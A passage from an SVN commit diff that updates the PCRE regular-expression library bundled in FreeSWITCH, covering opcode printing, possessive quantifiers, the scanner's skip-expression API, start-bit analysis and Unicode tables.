-    fprintf(f, "%3d %s", GET(code, 1), OP_names[*code]);
+    if (print_lengths) fprintf(f, "%3d ", GET(code, 1));
+      else fprintf(f, "    ");
+    fprintf(f, "%s", OP_names[*code]);
     break;
 
-    case OP_BRANUMBER:
-    printf("%3d %s", GET2(code, 1), OP_names[*code]);
+    case OP_CREF:
+    fprintf(f, "%3d %s", GET2(code,1), OP_names[*code]);
     break;
 
-    case OP_CREF:
-    if (GET2(code, 1) == CREF_RECURSE)
-      fprintf(f, "    Cond recurse");
+    case OP_RREF:
+    c = GET2(code, 1);
+    if (c == RREF_ANY)
+      fprintf(f, "    Cond recurse any");
     else
-      fprintf(f, "%3d %s", GET2(code,1), OP_names[*code]);
+      fprintf(f, "    Cond recurse %d", c);
     break;
 
+    case OP_DEF:
+    fprintf(f, "    Cond def");
+    break;
+
     case OP_STAR:
     case OP_MINSTAR:
+    case OP_POSSTAR:
     case OP_PLUS:
     case OP_MINPLUS:
+    case OP_POSPLUS:
     case OP_QUERY:
     case OP_MINQUERY:
+    case OP_POSQUERY:
     case OP_TYPESTAR:
     case OP_TYPEMINSTAR:
+    case OP_TYPEPOSSTAR:
     case OP_TYPEPLUS:
     case OP_TYPEMINPLUS:
+    case OP_TYPEPOSPLUS:
     case OP_TYPEQUERY:
     case OP_TYPEMINQUERY:
+    case OP_TYPEPOSQUERY:
     fprintf(f, "    ");
     if (*code >= OP_TYPESTAR)
       {
@@ -257,17 +297,20 @@
     case OP_EXACT:
     case OP_UPTO:
     case OP_MINUPTO:
+    case OP_POSUPTO:
     fprintf(f, "    ");
     extra = print_char(f, code+3, utf8);
     fprintf(f, "{");
-    if (*code != OP_EXACT) fprintf(f, ",");
+    if (*code != OP_EXACT) fprintf(f, "0,");
     fprintf(f, "%d}", GET2(code,1));
     if (*code == OP_MINUPTO) fprintf(f, "?");
+      else if (*code == OP_POSUPTO) fprintf(f, "+");
     break;
 
     case OP_TYPEEXACT:
     case OP_TYPEUPTO:
     case OP_TYPEMINUPTO:
+    case OP_TYPEPOSUPTO:
     fprintf(f, "    %s", OP_names[code[3]]);
     if (code[3] == OP_PROP || code[3] == OP_NOTPROP)
       {
@@ -278,20 +321,26 @@
     if (*code != OP_TYPEEXACT) fprintf(f, "0,");
     fprintf(f, "%d}", GET2(code,1));
     if (*code == OP_TYPEMINUPTO) fprintf(f, "?");
+      else if (*code == OP_TYPEPOSUPTO) fprintf(f, "+");
     break;
 
     case OP_NOT:
-    if (isprint(c = code[1])) fprintf(f, "    [^%c]", c);
+    c = code[1];
+    if (PRINTABLE(c)) fprintf(f, "    [^%c]", c);
       else fprintf(f, "    [^\\x%02x]", c);
     break;
 
     case OP_NOTSTAR:
     case OP_NOTMINSTAR:
+    case OP_NOTPOSSTAR:
     case OP_NOTPLUS:
     case OP_NOTMINPLUS:
+    case OP_NOTPOSPLUS:
     case OP_NOTQUERY:
     case OP_NOTMINQUERY:
-    if (isprint(c = code[1])) fprintf(f, "    [^%c]", c);
+    case OP_NOTPOSQUERY:
+    c = code[1];
+    if (PRINTABLE(c)) fprintf(f, "    [^%c]", c);
       else fprintf(f, "    [^\\x%02x]", c);
     fprintf(f, "%s", OP_names[*code]);
     break;
@@ -299,15 +348,20 @@
     case OP_NOTEXACT:
     case OP_NOTUPTO:
     case OP_NOTMINUPTO:
-    if (isprint(c = code[3])) fprintf(f, "    [^%c]{", c);
+    case OP_NOTPOSUPTO:
+    c = code[3];
+    if (PRINTABLE(c)) fprintf(f, "    [^%c]{", c);
       else fprintf(f, "    [^\\x%02x]{", c);
     if (*code != OP_NOTEXACT) fprintf(f, "0,");
     fprintf(f, "%d}", GET2(code,1));
     if (*code == OP_NOTMINUPTO) fprintf(f, "?");
+      else if (*code == OP_NOTPOSUPTO) fprintf(f, "+");
     break;
 
     case OP_RECURSE:
-    fprintf(f, "%3d %s", GET(code, 1), OP_names[*code]);
+    if (print_lengths) fprintf(f, "%3d ", GET(code, 1));
+      else fprintf(f, "    ");
+    fprintf(f, "%s", OP_names[*code]);
     break;
 
     case OP_REF:
@@ -363,12 +417,14 @@
             for (j = i+1; j < 256; j++)
               if ((ccode[j/8] & (1 << (j&7))) == 0) break;
             if (i == '-' || i == ']') fprintf(f, "\\");
-            if (isprint(i)) fprintf(f, "%c", i); else fprintf(f, "\\x%02x", i);
+            if (PRINTABLE(i)) fprintf(f, "%c", i);
+              else fprintf(f, "\\x%02x", i);
             if (--j > i)
               {
               if (j != i + 1) fprintf(f, "-");
               if (j == '-' || j == ']') fprintf(f, "\\");
-              if (isprint(j)) fprintf(f, "%c", j); else fprintf(f, "\\x%02x", j);
+              if (PRINTABLE(j)) fprintf(f, "%c", j);
+                else fprintf(f, "\\x%02x", j);
               }
             i = j;
             }

Modified: freeswitch/branches/seven/libs/pcre/pcre_refcount.c (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcre_refcount.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcre_refcount.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -6,7 +6,7 @@
 and semantics are as close as possible to those of the Perl 5 language.
 
                        Written by Philip Hazel
-           Copyright (c) 1997-2006 University of Cambridge
+           Copyright (c) 1997-2008 University of Cambridge
 
 -----------------------------------------------------------------------------
 Redistribution and use in source and binary forms, with or without
@@ -43,6 +43,11 @@
 pattern data block. This might be helpful in applications where the block is
 shared by different users. */
 
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
 #include "pcre_internal.h"
 
 
@@ -63,7 +68,7 @@
                 a negative error number
 */
 
-PCRE_DATA_SCOPE int
+PCRE_EXP_DEFN int PCRE_CALL_CONVENTION
 pcre_refcount(pcre *argument_re, int adjust)
 {
 real_pcre *re = (real_pcre *)argument_re;

Modified: freeswitch/branches/seven/libs/pcre/pcre_scanner.cc (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcre_scanner.cc	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcre_scanner.cc	2009-08-09 18:53:22 UTC (rev 14472)
@@ -29,9 +29,14 @@
 //
 // Author: Sanjay Ghemawat
 
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
 #include <vector>
 #include <assert.h>
-#include "config.h"
+
+#include "pcrecpp_internal.h"
 #include "pcre_scanner.h"
 
 using std::vector;
@@ -43,6 +48,7 @@
     input_(data_),
     skip_(NULL),
     should_skip_(false),
+    skip_repeat_(false),
     save_comments_(false),
     comments_(NULL),
     comments_offset_(0) {
@@ -53,6 +59,7 @@
     input_(data_),
     skip_(NULL),
     should_skip_(false),
+    skip_repeat_(false),
     save_comments_(false),
     comments_(NULL),
     comments_offset_(0) {
@@ -63,15 +70,31 @@
   delete comments_;
 }
 
+void Scanner::SetSkipExpression(const char* re) {
+  delete skip_;
+  if (re != NULL) {
+    skip_ = new RE(re);
+    should_skip_ = true;
+    skip_repeat_ = true;
+    ConsumeSkip();
+  } else {
+    skip_ = NULL;
+    should_skip_ = false;
+    skip_repeat_ = false;
+  }
+}
+
 void Scanner::Skip(const char* re) {
   delete skip_;
   if (re != NULL) {
     skip_ = new RE(re);
     should_skip_ = true;
+    skip_repeat_ = false;
     ConsumeSkip();
   } else {
     skip_ = NULL;
     should_skip_ = false;
+    skip_repeat_ = false;
   }
 }
 
@@ -118,19 +141,22 @@
 
 // helper function to consume *skip_ and honour save_comments_
 void Scanner::ConsumeSkip() {
+  const char* start_data = input_.data();
+  while (skip_->Consume(&input_)) {
+    if (!skip_repeat_) {
+      // Only one skip allowed.
+      break;
+    }
+  }
   if (save_comments_) {
-    if (NULL == comments_) {
+    if (comments_ == NULL) {
       comments_ = new vector<StringPiece>;
     }
-    const char *start_data = input_.data();
-    skip_->Consume(&input_);
     // already pointing one past end, so no need to +1
     int length = input_.data() - start_data;
     if (length > 0) {
       comments_->push_back(StringPiece(start_data, length));
     }
-  } else {
-    skip_->Consume(&input_);
   }
 }
 

Modified: freeswitch/branches/seven/libs/pcre/pcre_scanner.h (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcre_scanner.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcre_scanner.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -36,7 +36,7 @@
 //      Scanner scanner(input);
 //      string var;
 //      int number;
-//      scanner.Skip("\\s+");           // Skip any white space we encounter
+//      scanner.SetSkipExpression("\\s+"); // Skip any white space we encounter
 //      while (scanner.Consume("(\\w+) = (\\d+)", &var, &number)) {
 //        ...;
 //      }
@@ -47,12 +47,13 @@
 #include <assert.h>
 #include <string>
 #include <vector>
+
 #include <pcrecpp.h>
 #include <pcre_stringpiece.h>
 
 namespace pcrecpp {
 
-class Scanner {
+class PCRECPP_EXP_DEFN Scanner {
  public:
   Scanner();
   explicit Scanner(const std::string& input);
@@ -79,9 +80,9 @@
   // If it returns true, it skips over the matched input and any
   // following input that matches the "skip" regular expression.
   bool Consume(const RE& re,
-               const Arg& arg0 = no_arg,
-               const Arg& arg1 = no_arg,
-               const Arg& arg2 = no_arg
+               const Arg& arg0 = RE::no_arg,
+               const Arg& arg1 = RE::no_arg,
+               const Arg& arg2 = RE::no_arg
                // TODO: Allow more arguments?
                );
 
@@ -90,10 +91,16 @@
   // skipped.  For example, a programming language scanner would use
   // a skip RE that matches white space and comments.
   //
-  //    scanner.Skip("(\\s|//.*|/[*](.|\n)*?[*]/)*");
+  //    scanner.SetSkipExpression("\\s+|//.*|/[*](.|\n)*?[*]/");
   //
+  // Skipping repeats as long as it succeeds.  We used to let people do
+  // this by writing "(...)*" in the regular expression, but that added
+  // up to lots of recursive calls within the pcre library, so now we
+  // control repetition explicitly via the function call API.
+  //
   // You can pass NULL for "re" if you do not want any data to be skipped.
-  void Skip(const char* re);
+  void Skip(const char* re);   // DEPRECATED; does *not* repeat
+  void SetSkipExpression(const char* re);
 
   // Temporarily pause "skip"ing. This
   //   Skip("Foo"); code ; DisableSkip(); code; EnableSkip()
@@ -109,12 +116,13 @@
   /***** Special wrappers around SetSkip() for some common idioms *****/
 
   // Arranges to skip whitespace, C comments, C++ comments.
-  // The overall RE is a repeated disjunction of the following REs:
+  // The overall RE is a disjunction of the following REs:
   //    \\s                     whitespace
   //    //.*\n                  C++ comment
   //    /[*](.|\n)*?[*]/        C comment (x*? means minimal repetitions of x)
+  // We get repetition via the semantics of SetSkipExpression, not by using *
   void SkipCXXComments() {
-    Skip("((\\s|//.*\n|/[*](.|\n)*?[*]/)*)");
+    SetSkipExpression("\\s|//.*\n|/[*](?:\n|.)*?[*]/");
   }
 
   void set_save_comments(bool comments) {
@@ -143,6 +151,7 @@
   StringPiece   input_;         // Unprocessed input
   RE*           skip_;          // If non-NULL, RE for skipping input
   bool          should_skip_;   // If true, use skip_
+  bool          skip_repeat_;   // If true, repeat skip_ as long as it works
   bool          save_comments_; // If true, aggregate the skip expression
 
   // the skipped comments

Modified: freeswitch/branches/seven/libs/pcre/pcre_scanner_unittest.cc (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcre_scanner_unittest.cc	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcre_scanner_unittest.cc	2009-08-09 18:53:22 UTC (rev 14472)
@@ -32,11 +32,20 @@
 // Unittest for scanner, especially GetNextComments and GetComments()
 // functionality.
 
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
 #include <stdio.h>
+#include <string>
 #include <vector>
-#include <pcre_stringpiece.h>
-#include <pcre_scanner.h>
 
+#include "pcrecpp.h"
+#include "pcre_stringpiece.h"
+#include "pcre_scanner.h"
+
+#define FLAGS_unittest_stack_size   49152
+
 // Dies with a fatal error if the two values are not equal.
 #define CHECK_EQ(a, b)  do {                                    \
   if ( (a) != (b) ) {                                           \
@@ -116,8 +125,31 @@
   comments.resize(0);
 }
 
+static void TestBigComment() {
+  string input;
+  for (int i = 0; i < 1024; ++i) {
+    char buf[1024];  // definitely big enough
+    sprintf(buf, "    # Comment %d\n", i);
+    input += buf;
+  }
+  input += "name = value;\n";
+
+  Scanner s(input.c_str());
+  s.SetSkipExpression("\\s+|#.*\n");
+
+  string name;
+  string value;
+  s.Consume("(\\w+) = (\\w+);", &name, &value);
+  CHECK_EQ(name, "name");
+  CHECK_EQ(value, "value");
+}
+
+// TODO: also test scanner and big-comment in a thread with a
+//       small stack size
+
 int main(int argc, char** argv) {
   TestScanner();
+  TestBigComment();
 
   // Done
   printf("OK\n");

Modified: freeswitch/branches/seven/libs/pcre/pcre_stringpiece.cc (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcre_stringpiece.cc	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcre_stringpiece.cc	2009-08-09 18:53:22 UTC (rev 14472)
@@ -30,8 +30,12 @@
 // Author: wilsonh@google.com (Wilson Hsieh)
 //
 
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
 #include <iostream>
-#include "config.h"
+#include "pcrecpp_internal.h"
 #include "pcre_stringpiece.h"
 
 std::ostream& operator<<(std::ostream& o, const pcrecpp::StringPiece& piece) {

Modified: freeswitch/branches/seven/libs/pcre/pcre_stringpiece.h.in (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcre_stringpiece.h.in	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcre_stringpiece.h.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -50,11 +50,13 @@
 #include <bits/type_traits.h>
 #endif
 
+#include <pcre.h>
+
 using std::string;
 
 namespace pcrecpp {
 
-class StringPiece {
+class PCRECPP_EXP_DEFN StringPiece {
  private:
   const char*   ptr_;
   int           length_;
@@ -66,7 +68,10 @@
   StringPiece()
     : ptr_(NULL), length_(0) { }
   StringPiece(const char* str)
-    : ptr_(str), length_(static_cast<int>(strlen(str))) { }
+    : ptr_(str), length_(static_cast<int>(strlen(ptr_))) { }
+  StringPiece(const unsigned char* str)
+    : ptr_(reinterpret_cast<const char*>(str)),
+      length_(static_cast<int>(strlen(ptr_))) { }
   StringPiece(const string& str)
     : ptr_(str.data()), length_(static_cast<int>(str.size())) { }
   StringPiece(const char* offset, int len)

Modified: freeswitch/branches/seven/libs/pcre/pcre_stringpiece_unittest.cc (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcre_stringpiece_unittest.cc	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcre_stringpiece_unittest.cc	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,11 +1,17 @@
 // Copyright 2003 and onwards Google Inc.
 // Author: Sanjay Ghemawat
 
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
 #include <stdio.h>
 #include <map>
 #include <algorithm>    // for make_pair
-#include <pcre_stringpiece.h>
 
+#include "pcrecpp.h"
+#include "pcre_stringpiece.h"
+
 // CHECK dies with a fatal error if condition is not true.  It is *not*
 // controlled by NDEBUG, so the check will be executed regardless of
 // compilation mode.  Therefore, it is safe to do things like:

Modified: freeswitch/branches/seven/libs/pcre/pcre_study.c (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcre_study.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcre_study.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -6,7 +6,7 @@
 and semantics are as close as possible to those of the Perl 5 language.
 
                        Written by Philip Hazel
-           Copyright (c) 1997-2006 University of Cambridge
+           Copyright (c) 1997-2008 University of Cambridge
 
 -----------------------------------------------------------------------------
 Redistribution and use in source and binary forms, with or without
@@ -42,9 +42,18 @@
 supporting functions. */
 
 
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
 #include "pcre_internal.h"
 
 
+/* Returns from set_start_bits() */
+
+enum { SSB_FAIL, SSB_DONE, SSB_CONTINUE };
+
+
 /*************************************************
 *      Set a bit and maybe its alternate case    *
 *************************************************/
@@ -72,12 +81,16 @@
 
 
 /*************************************************
-*          Create bitmap of starting chars       *
+*          Create bitmap of starting bytes       *
 *************************************************/
 
-/* This function scans a compiled unanchored expression and attempts to build a
-bitmap of the set of initial characters. If it can't, it returns FALSE. As time
-goes by, we may be able to get more clever at doing this.
+/* This function scans a compiled unanchored expression recursively and
+attempts to build a bitmap of the set of possible starting bytes. As time goes
+by, we may be able to get more clever at doing this. The SSB_CONTINUE return is
+useful for parenthesized groups in patterns such as (a*)b where the group
+provides some optional starting bytes but scanning must continue at the outer
+level to find at least one mandatory byte. At the outermost level, this
+function fails unless the result is SSB_DONE.
 
 Arguments:
   code         points to an expression
@@ -86,14 +99,17 @@
   utf8         TRUE if in UTF-8 mode
   cd           the block with char table pointers
 
-Returns:       TRUE if table built, FALSE otherwise
+Returns:       SSB_FAIL     => Failed to find any starting bytes
+               SSB_DONE     => Found mandatory starting bytes
+               SSB_CONTINUE => Found optional starting bytes
 */
 
-static BOOL
+static int
 set_start_bits(const uschar *code, uschar *start_bits, BOOL caseless,
   BOOL utf8, compile_data *cd)
 {
 register int c;
+int yield = SSB_DONE;
 
 #if 0
 /* ========================================================================= */
@@ -114,45 +130,69 @@
 
 do
   {
-  const uschar *tcode = code + 1 + LINK_SIZE;
+  const uschar *tcode = code + (((int)*code == OP_CBRA)? 3:1) + LINK_SIZE;
   BOOL try_next = TRUE;
 
-  while (try_next)
+  while (try_next)    /* Loop for items in this branch */
     {
-    /* If a branch starts with a bracket or a positive lookahead assertion,
-    recurse to set bits from within them. That's all for this branch. */
-
-    if ((int)*tcode >= OP_BRA || *tcode == OP_ASSERT)
+    int rc;
+    switch(*tcode)
       {
-      if (!set_start_bits(tcode, start_bits, caseless, utf8, cd))
-        return FALSE;
-      try_next = FALSE;
-      }
+      /* Fail if we reach something we don't understand */
 
-    else switch(*tcode)
-      {
       default:
-      return FALSE;
+      return SSB_FAIL;
 
+      /* If we hit a bracket or a positive lookahead assertion, recurse to set
+      bits from within the subpattern. If it can't find anything, we have to
+      give up. If it finds some mandatory character(s), we are done for this
+      branch. Otherwise, carry on scanning after the subpattern. */
+
+      case OP_BRA:
+      case OP_SBRA:
+      case OP_CBRA:
+      case OP_SCBRA:
+      case OP_ONCE:
+      case OP_ASSERT:
+      rc = set_start_bits(tcode, start_bits, caseless, utf8, cd);
+      if (rc == SSB_FAIL) return SSB_FAIL;
+      if (rc == SSB_DONE) try_next = FALSE; else
+        {
+        do tcode += GET(tcode, 1); while (*tcode == OP_ALT);
+        tcode += 1 + LINK_SIZE;
+        }
+      break;
+
+      /* If we hit ALT or KET, it means we haven't found anything mandatory in
+      this branch, though we might have found something optional. For ALT, we
+      continue with the next alternative, but we have to arrange that the final
+      result from subpattern is SSB_CONTINUE rather than SSB_DONE. For KET,
+      return SSB_CONTINUE: if this is the top level, that indicates failure,
+      but after a nested subpattern, it causes scanning to continue. */
+
+      case OP_ALT:
+      yield = SSB_CONTINUE;
+      try_next = FALSE;
+      break;
+
+      case OP_KET:
+      case OP_KETRMAX:
+      case OP_KETRMIN:
+      return SSB_CONTINUE;
+
       /* Skip over callout */
 
       case OP_CALLOUT:
       tcode += 2 + 2*LINK_SIZE;
       break;
 
-      /* Skip over extended extraction bracket number */
-
-      case OP_BRANUMBER:
-      tcode += 3;
-      break;
-
       /* Skip over lookbehind and negative lookahead assertions */
 
       case OP_ASSERT_NOT:
       case OP_ASSERTBACK:
       case OP_ASSERTBACK_NOT:
       do tcode += GET(tcode, 1); while (*tcode == OP_ALT);
-      tcode += 1+LINK_SIZE;
+      tcode += 1 + LINK_SIZE;
       break;
 
       /* Skip over an option setting, changing the caseless flag */
@@ -166,27 +206,38 @@
 
       case OP_BRAZERO:
       case OP_BRAMINZERO:
-      if (!set_start_bits(++tcode, start_bits, caseless, utf8, cd))
-        return FALSE;
+      if (set_start_bits(++tcode, start_bits, caseless, utf8, cd) == SSB_FAIL)
+        return SSB_FAIL;
 /* =========================================================================
       See the comment at the head of this function concerning the next line,
       which was an old fudge for the benefit of OS/2.
       dummy = 1;
   ========================================================================= */
       do tcode += GET(tcode,1); while (*tcode == OP_ALT);
-      tcode += 1+LINK_SIZE;
+      tcode += 1 + LINK_SIZE;
       break;
 
+      /* SKIPZERO skips the bracket. */
+
+      case OP_SKIPZERO:
+      tcode++;
+      do tcode += GET(tcode,1); while (*tcode == OP_ALT);
+      tcode += 1 + LINK_SIZE;
+      break;
+
       /* Single-char * or ? sets the bit and tries the next item */
 
       case OP_STAR:
       case OP_MINSTAR:
+      case OP_POSSTAR:
       case OP_QUERY:
       case OP_MINQUERY:
+      case OP_POSQUERY:
       set_bit(start_bits, tcode[1], caseless, cd);
       tcode += 2;
 #ifdef SUPPORT_UTF8
-      if (utf8) while ((*tcode & 0xc0) == 0x80) tcode++;
+      if (utf8 && tcode[-1] >= 0xc0)
+        tcode += _pcre_utf8_table4[tcode[-1] & 0x3f];
 #endif
       break;
 
@@ -194,10 +245,12 @@
 
       case OP_UPTO:
       case OP_MINUPTO:
+      case OP_POSUPTO:
       set_bit(start_bits, tcode[3], caseless, cd);
       tcode += 4;
 #ifdef SUPPORT_UTF8
-      if (utf8) while ((*tcode & 0xc0) == 0x80) tcode++;
+      if (utf8 && tcode[-1] >= 0xc0)
+        tcode += _pcre_utf8_table4[tcode[-1] & 0x3f];
 #endif
       break;
 
@@ -210,6 +263,7 @@
       case OP_CHARNC:
       case OP_PLUS:
       case OP_MINPLUS:
+      case OP_POSPLUS:
       set_bit(start_bits, tcode[1], caseless, cd);
       try_next = FALSE;
       break;
@@ -283,16 +337,20 @@
 
       case OP_TYPEUPTO:
       case OP_TYPEMINUPTO:
+      case OP_TYPEPOSUPTO:
       tcode += 2;               /* Fall through */
 
       case OP_TYPESTAR:
       case OP_TYPEMINSTAR:
+      case OP_TYPEPOSSTAR:
       case OP_TYPEQUERY:
       case OP_TYPEMINQUERY:
+      case OP_TYPEPOSQUERY:
       switch(tcode[1])
         {
         case OP_ANY:
-        return FALSE;
+        case OP_ALLANY:
+        return SSB_FAIL;
 
         case OP_NOT_DIGIT:
         for (c = 0; c < 32; c++)
@@ -349,11 +407,13 @@
       character with a value > 255. */
 
       case OP_NCLASS:
+#ifdef SUPPORT_UTF8
       if (utf8)
         {
         start_bits[24] |= 0xf0;              /* Bits for 0xc4 - 0xc8 */
         memset(start_bits+25, 0xff, 7);      /* Bits for 0xc9 - 0xff */
         }
+#endif
       /* Fall through */
 
       case OP_CLASS:
@@ -366,6 +426,7 @@
         value is > 127. In fact, there are only two possible starting bytes for
         characters in the range 128 - 255. */
 
+#ifdef SUPPORT_UTF8
         if (utf8)
           {
           for (c = 0; c < 16; c++) start_bits[c] |= tcode[c];
@@ -383,6 +444,7 @@
         /* In non-UTF-8 mode, the two bit maps are completely compatible. */
 
         else
+#endif
           {
           for (c = 0; c < 32; c++) start_bits[c] |= tcode[c];
           }
@@ -418,7 +480,7 @@
   code += GET(code, 1);   /* Advance to next branch */
   }
 while (*code == OP_ALT);
-return TRUE;
+return yield;
 }
 
 
@@ -442,7 +504,7 @@
             NULL on error or if no optimization possible
 */
 
-PCRE_DATA_SCOPE pcre_extra *
+PCRE_EXP_DEFN pcre_extra * PCRE_CALL_CONVENTION
 pcre_study(const pcre *external_re, int options, const char **errorptr)
 {
 uschar start_bits[32];
@@ -474,7 +536,8 @@
 a multiline pattern that matches only at "line starts", no further processing
 at present. */
 
-if ((re->options & (PCRE_ANCHORED|PCRE_FIRSTSET|PCRE_STARTLINE)) != 0)
+if ((re->options & PCRE_ANCHORED) != 0 ||
+    (re->flags & (PCRE_FIRSTSET|PCRE_STARTLINE)) != 0)
   return NULL;
 
 /* Set the character tables in the block that is passed around */
@@ -492,8 +555,8 @@
 /* See if we can find a fixed set of initial characters for the pattern. */
 
 memset(start_bits, 0, 32 * sizeof(uschar));
-if (!set_start_bits(code, start_bits, (re->options & PCRE_CASELESS) != 0,
-  (re->options & PCRE_UTF8) != 0, &compile_block)) return NULL;
+if (set_start_bits(code, start_bits, (re->options & PCRE_CASELESS) != 0,
+  (re->options & PCRE_UTF8) != 0, &compile_block) != SSB_DONE) return NULL;
 
 /* Get a pcre_extra block and a pcre_study_data block. The study data is put in
 the latter, which is pointed to by the former, which may also get additional

Modified: freeswitch/branches/seven/libs/pcre/pcre_tables.c (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcre_tables.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcre_tables.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -6,7 +6,7 @@
 and semantics are as close as possible to those of the Perl 5 language.
 
                        Written by Philip Hazel
-           Copyright (c) 1997-2006 University of Cambridge
+           Copyright (c) 1997-2009 University of Cambridge
 
 -----------------------------------------------------------------------------
 Redistribution and use in source and binary forms, with or without
@@ -44,6 +44,10 @@
 clashes with the library. */
 
 
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
 #include "pcre_internal.h"
 
 
@@ -61,6 +65,8 @@
 /* These are the breakpoints for different numbers of bytes in a UTF-8
 character. */
 
+#ifdef SUPPORT_UTF8
+
 const int _pcre_utf8_table1[] =
   { 0x7f, 0x7ff, 0xffff, 0x1fffff, 0x3ffffff, 0x7fffffff};
 
@@ -72,9 +78,8 @@
 const int _pcre_utf8_table2[] = { 0,    0xc0, 0xe0, 0xf0, 0xf8, 0xfc};
 const int _pcre_utf8_table3[] = { 0xff, 0x1f, 0x0f, 0x07, 0x03, 0x01};
 
-/* Table of the number of extra characters, indexed by the first character
-masked with 0x3f. The highest number for a valid UTF-8 character is in fact
-0x3d. */
+/* Table of the number of extra bytes, indexed by the first byte masked with
+0x3f. The highest number for a valid UTF-8 first byte is in fact 0x3d. */
 
 const uschar _pcre_utf8_table4[] = {
   1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
@@ -82,112 +87,392 @@
   2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,
   3,3,3,3,3,3,3,3,4,4,4,4,5,5,5,5 };
 
-/* This table translates Unicode property names into type and code values. It
-is searched by binary chop, so must be in collating sequence of name. */
+/* Table to translate from particular type value to the general value. */
 
+const int _pcre_ucp_gentype[] = {
+  ucp_C, ucp_C, ucp_C, ucp_C, ucp_C,  /* Cc, Cf, Cn, Co, Cs */
+  ucp_L, ucp_L, ucp_L, ucp_L, ucp_L,  /* Ll, Lu, Lm, Lo, Lt */
+  ucp_M, ucp_M, ucp_M,                /* Mc, Me, Mn */
+  ucp_N, ucp_N, ucp_N,                /* Nd, Nl, No */
+  ucp_P, ucp_P, ucp_P, ucp_P, ucp_P,  /* Pc, Pd, Pe, Pf, Pi */
+  ucp_P, ucp_P,                       /* Ps, Po */
+  ucp_S, ucp_S, ucp_S, ucp_S,         /* Sc, Sk, Sm, So */
+  ucp_Z, ucp_Z, ucp_Z                 /* Zl, Zp, Zs */
+};
+
+/* The pcre_utt[] table below translates Unicode property names into type and
+code values. It is searched by binary chop, so must be in collating sequence of
+name. Originally, the table contained pointers to the name strings in the first
+field of each entry. However, that leads to a large number of relocations when
+a shared library is dynamically loaded. A significant reduction is made by
+putting all the names into a single, large string and then using offsets in the
+table itself. Maintenance is more error-prone, but frequent changes to this
+data are unlikely.
+
+July 2008: There is now a script called maint/GenerateUtt.py that can be used
+to generate this data instead of maintaining it entirely by hand.
+
+The script was updated in March 2009 to generate a new EBCDIC-compliant
+version. Like all other character and string literals that are compared against
+the regular expression pattern, we must use STR_ macros instead of literal
+strings to make sure that UTF-8 support works on EBCDIC platforms. */
+
+#define STRING_Any0 STR_A STR_n STR_y "\0"
+#define STRING_Arabic0 STR_A STR_r STR_a STR_b STR_i STR_c "\0"
+#define STRING_Armenian0 STR_A STR_r STR_m STR_e STR_n STR_i STR_a STR_n "\0"
+#define STRING_Balinese0 STR_B STR_a STR_l STR_i STR_n STR_e STR_s STR_e "\0"
+#define STRING_Bengali0 STR_B STR_e STR_n STR_g STR_a STR_l STR_i "\0"
+#define STRING_Bopomofo0 STR_B STR_o STR_p STR_o STR_m STR_o STR_f STR_o "\0"
+#define STRING_Braille0 STR_B STR_r STR_a STR_i STR_l STR_l STR_e "\0"
+#define STRING_Buginese0 STR_B STR_u STR_g STR_i STR_n STR_e STR_s STR_e "\0"
+#define STRING_Buhid0 STR_B STR_u STR_h STR_i STR_d "\0"
+#define STRING_C0 STR_C "\0"
+#define STRING_Canadian_Aboriginal0 STR_C STR_a STR_n STR_a STR_d STR_i STR_a STR_n STR_UNDERSCORE STR_A STR_b STR_o STR_r STR_i STR_g STR_i STR_n STR_a STR_l "\0"
+#define STRING_Carian0 STR_C STR_a STR_r STR_i STR_a STR_n "\0"
+#define STRING_Cc0 STR_C STR_c "\0"
+#define STRING_Cf0 STR_C STR_f "\0"
+#define STRING_Cham0 STR_C STR_h STR_a STR_m "\0"
+#define STRING_Cherokee0 STR_C STR_h STR_e STR_r STR_o STR_k STR_e STR_e "\0"
+#define STRING_Cn0 STR_C STR_n "\0"
+#define STRING_Co0 STR_C STR_o "\0"
+#define STRING_Common0 STR_C STR_o STR_m STR_m STR_o STR_n "\0"
+#define STRING_Coptic0 STR_C STR_o STR_p STR_t STR_i STR_c "\0"
+#define STRING_Cs0 STR_C STR_s "\0"
+#define STRING_Cuneiform0 STR_C STR_u STR_n STR_e STR_i STR_f STR_o STR_r STR_m "\0"
+#define STRING_Cypriot0 STR_C STR_y STR_p STR_r STR_i STR_o STR_t "\0"
+#define STRING_Cyrillic0 STR_C STR_y STR_r STR_i STR_l STR_l STR_i STR_c "\0"
